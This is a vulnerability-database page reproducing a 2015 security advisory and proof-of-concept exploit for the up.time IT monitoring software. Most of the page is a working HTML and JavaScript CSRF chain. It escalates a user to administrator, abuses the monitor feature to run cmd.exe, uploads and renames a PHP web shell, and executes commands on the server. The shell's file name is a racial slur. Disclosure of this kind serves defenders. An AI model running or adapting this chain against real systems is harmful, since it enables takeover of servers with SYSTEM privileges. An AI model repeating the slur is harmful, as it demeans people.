Lucene search
K

up.time 7.5.0 Upload And Execute File Exploit

🗓️ 19 Aug 2015 00:00:00Reported by Ewerson GuimaraesType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 59 Views

Arbitrary command execution in up.time software allows attackers to gain system access by adding and executing commands via the monitor service feature. Affected versions include 7.5.0 (build 16) and 7.4.0 (build 13).

Code
<html><body><p>up.time 7.5.0 Upload And Execute File Exploit


Vendor: Idera Inc.
Product web page: http://www.uptimesoftware.com
Affected version: 7.5.0 (build 16) and 7.4.0 (build 13)

Summary: The next-generation of IT monitoring software.

Desc: up.time suffers from arbitrary command execution.
Attackers can exploit this issue using the monitor service
feature and adding a command with respected arguments to given
binary for execution. In combination with the CSRF, Privilege
Escalation, Arbitrary text file creation and renaming that
file to php for example in arbitrary location and executing
system commands with SYSTEM privileges.

Tested on: Jetty, PHP/5.4.34, MySQL
           Apache/2.2.29 (Win64) mod_ssl/2.2.29 OpenSSL/1.0.1j PHP/5.4.34


Vulnerability discovered by Ewerson 'Crash' Guimaraes
                            @zeroscience


Advisory ID: ZSL-2015-5254
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php


29.07.2015

--



 </p>
<title>Uptime Exploit</title>
<!-- Login -->
<form action="http://127.0.0.1:9999/index.php" method="POST" name="login" target="frame0">
<input name="username" type="hidden" value="sample"/>
<input name="password" type="hidden" value="123456"/>
</form>
<!-- Escalate privileges -->
<form action="http://127.0.0.1:9999/main.php?section=UserContainer&amp;subsection=edit&amp;id=2" method="POST" name="privadm" target="frame1">
<input name="operation" type="hidden" value="submit"/>
<input name="disableEditOfUsernameRoleGroup" type="hidden" value="false"/>
<input name="username" type="hidden" value="sample"/>
<input name="password" type="hidden" value="123456"/>
<input name="passwordConfirm" type="hidden" value="123456"/>
<input name="firstname" type="hidden" value="Sample"/>
<input name="lastname" type="hidden" value="User"/>
<input name="location" type="hidden" value=""/>
<input name="emailaddress" type="hidden" value=""/>
<input name="emailtimeperiodid" type="hidden" value="1"/>
<input name="phonenumber" type="hidden" value=""/>
<input name="phonenumbertimeperiodid" type="hidden" value="1"/>
<input name="windowshost" type="hidden" value=""/>
<input name="windowsworkgroup" type="hidden" value=""/>
<input name="windowspopuptimeperiodid" type="hidden" value="1"/>
<input name="landingpage" type="hidden" value="MyPortal"/>
<input name="isonvacation" type="hidden" value="0"/>
<input name="receivealerts" type="hidden" value="0"/>
<input name="activexgraphs" type="hidden" value="0"/>
<input name="newuser" type="hidden" value="on"/>
<input name="newuser" type="hidden" value="1"/>
<input name="userroleid" type="hidden" value="1"/>
<input name="usergroupid[]" type="hidden" value="1"/>
</form>
<!-- Log-off to refresh permission -->
<form action="http://127.0.0.1:9999/main.php" method="POST" name="logoff" target="frame2">
<input name="logout" type="hidden" value="1"/>
</form>
<!-- Login with escalated user -->
<form action="http://127.0.0.1:9999/index.php?loggedout" method="POST" name="login2" target="frame3">
<input name="username" type="hidden" value="sample"/>
<input name="password" type="hidden" value="123456"/>
</form>
<!-- Creating Monitor to  rename php shell -->
<form action="http://127.0.0.1:9999/main.php?section=ERDCInstance&amp;subsection=add" method="POST" name="createmonitor" target="frame4">
<input name="initialERDCId" type="hidden" value="20"/>
<input name="target" type="hidden" value="1"/>
<input name="targetType" type="hidden" value="systemList"/>
<input name="systemList" type="hidden" value="1"/>
<input name="serviceGroupList" type="hidden" value="-10"/>
<input name="initialMode" type="hidden" value="standard"/>
<input name="erdcName" type="hidden" value="Exploit"/>
<input name="erdcInitialName" type="hidden" value=""/>
<input name="erdcDescription" type="hidden" value="Exploit"/>
<input name="hostButton" type="hidden" value="system"/>
<input name="erdc_id" type="hidden" value="20"/>
<input name="forceReload" type="hidden" value="0"/>
<input name="operation" type="hidden" value="standard"/>
<input name="erdc_instance_id" type="hidden" value=""/>
<input name="label_[184]" type="hidden" value="Script Name"/>
<input name="value_[184]" type="hidden" value="c:\windows\system32\cmd.exe"/>
<input name="id_[184]" type="hidden" value="process"/>
<input name="name_[process]" type="hidden" value="184"/>
<input name="units_[184]" type="hidden" value=""/>
<input name="guiBasic_[184]" type="hidden" value="1"/>
<input name="inputType_[184]" type="hidden" value="GUIString"/>
<input name="screenOrder_[184]" type="hidden" value="1"/>
<input name="parmType_[184]" type="hidden" value="1"/>
<input name="label_[185]" type="hidden" value="Arguments"/>
<input name="value_[185]" type="hidden" value=' /C ren "C:\Program Files\uptime software\uptime\GUI\wizards\nigga.txt" "nigga.php" '/>
<input name="id_[185]" type="hidden" value="args"/>
<input name="name_[args]" type="hidden" value="185"/>
<input name="units_[185]" type="hidden" value=""/>
<input name="guiBasic_[185]" type="hidden" value="1"/>
<input name="inputType_[185]" type="hidden" value="GUIString"/>
<input name="screenOrder_[185]" type="hidden" value="2"/>
<input name="parmType_[185]" type="hidden" value="1"/>
<input name="label_[187]" type="hidden" value="Output"/>
<input name="can_retain_[187]" type="hidden" value="false"/>
<input name="comparisonWarn_[187]" type="hidden" value="-1"/>
<input name="comparison_[187]" type="hidden" value="-1"/>
<input name="id_[187]" type="hidden" value="value_critical_output"/>
<input name="name_[output]" type="hidden" value="187"/>
<input name="units_[187]" type="hidden" value=""/>
<input name="guiBasic_[187]" type="hidden" value="1"/>
<input name="inputType_[187]" type="hidden" value="GUIString"/>
<input name="screenOrder_[187]" type="hidden" value="4"/>
<input name="parmType_[187]" type="hidden" value="2"/>
<input name="label_[189]" type="hidden" value="Response time"/>
<input name="can_retain_[189]" type="hidden" value="false"/>
<input name="comparisonWarn_[189]" type="hidden" value="-1"/>
<input name="comparison_[189]" type="hidden" value="-1"/>
<input name="id_[189]" type="hidden" value="value_critical_timer"/>
<input name="name_[timer]" type="hidden" value="189"/>
<input name="units_[189]" type="hidden" value="ms"/>
<input name="guiBasic_[189]" type="hidden" value="0"/>
<input name="inputType_[189]" type="hidden" value="GUIInteger"/>
<input name="screenOrder_[189]" type="hidden" value="6"/>
<input name="parmType_[189]" type="hidden" value="2"/>
<input name="timing_[erdc_instance_monitored]" type="hidden" value="1"/>
<input name="timing_[timeout]" type="hidden" value="60"/>
<input name="timing_[check_interval]" type="hidden" value="10"/>
<input name="timing_[recheck_interval]" type="hidden" value="1"/>
<input name="timing_[max_rechecks]" type="hidden" value="3"/>
<input name="alerting_[notification]" type="hidden" value="1"/>
<input name="alerting_[alert_interval]" type="hidden" value="120"/>
<input name="alerting_[alert_on_critical]" type="hidden" value="1"/>
<input name="alerting_[alert_on_warning]" type="hidden" value="1"/>
<input name="alerting_[alert_on_recovery]" type="hidden" value="1"/>
<input name="alerting_[alert_on_unknown]" type="hidden" value="1"/>
<input name="time_period_id" type="hidden" value="1"/>
<input name="pageFinish" type="hidden" value="Finish"/>
<input name="pageContinue" type="hidden" value="Continue..."/>
<input name="isWizard" type="hidden" value="1"/>
<input name="wizardPage" type="hidden" value="2"/>
<input name="wizardNumPages" type="hidden" value="2"/>
<input name="wizardTask" type="hidden" value="pageFinish"/>
<input name="visitedPage[1]" type="hidden" value="1"/>
<input name="visitedPage[2]" type="hidden" value="1"/>
</form>
<!-- Uploading php shell txt format -->
<form action="http://127.0.0.1:9999/wizards/post2file.php" method="POST" name="uploadshell" target="frame5">
<input name="file_name" type="hidden" value="nigga.txt"/>
<input name="script" type="hidden" value=""/>
</form>
<!-- Run command to rename php shell -->
<form action="http://127.0.0.1:9999/main.php" method="POST" name="run" target="frame6">
<input name="section" type="hidden" value="RunERDCInstance"/>
<input name="subsection" type="hidden" value="view"/>
<input name="id" type="hidden" value="65535"/>
<input name="name" type="hidden" value="Exploit"/>
</form>
<!-- Executing basic command -->
<form action="http://127.0.0.1:9999/wizards/nigga.php" method="GET" name="exploit" target="frame7">
<input name="cmd" type="hidden" value="whoami"/>
</form>
<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>
<iframe name="frame2"></iframe>
<iframe name="frame3"></iframe>
<iframe name="frame4"></iframe>
<iframe name="frame5"></iframe>
<iframe name="frame6"></iframe>
<iframe name="frame7"></iframe>
<script>
 function runme()
 {
 document.login.submit();
 document.getElementsByTagName("iframe")[0].onload = function()
//document.write("Login....")
 {
document.privadm.submit();
document.getElementsByTagName("iframe")[1].onload = function()
//document.write("Mutating to admin uahsuasuas");
 {
document.logoff.submit();
document.getElementsByTagName("iframe")[2].onload = function()
//document.write("Refreshing perms...");
 {
document.login2.submit();
document.getElementsByTagName("iframe")[3].onload = function()
//document.write("Login again...Keep Calm....");
 {
document.createmonitor.submit();
document.getElementsByTagName("iframe")[4].onload = function()
//document.write("Creating F*cking monitor");
 {
document.uploadshell.submit();
document.getElementsByTagName("iframe")[5].onload = function()
//document.write("Uploading webshell. Muaaaaa! Muaaaaa!!");
 {
document.run.submit();
document.getElementsByTagName("iframe")[6].onload = function()
//document.write("Trick to shell... come on....");
 {
document.exploit.submit();
document.getElementsByTagName("iframe")[7].onload = function()
alert('Pwned!!!!!!!!!!!!!!!!!!!!!!')
 }
 }
 }
 }
 }
 }
 }
 }
</script>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation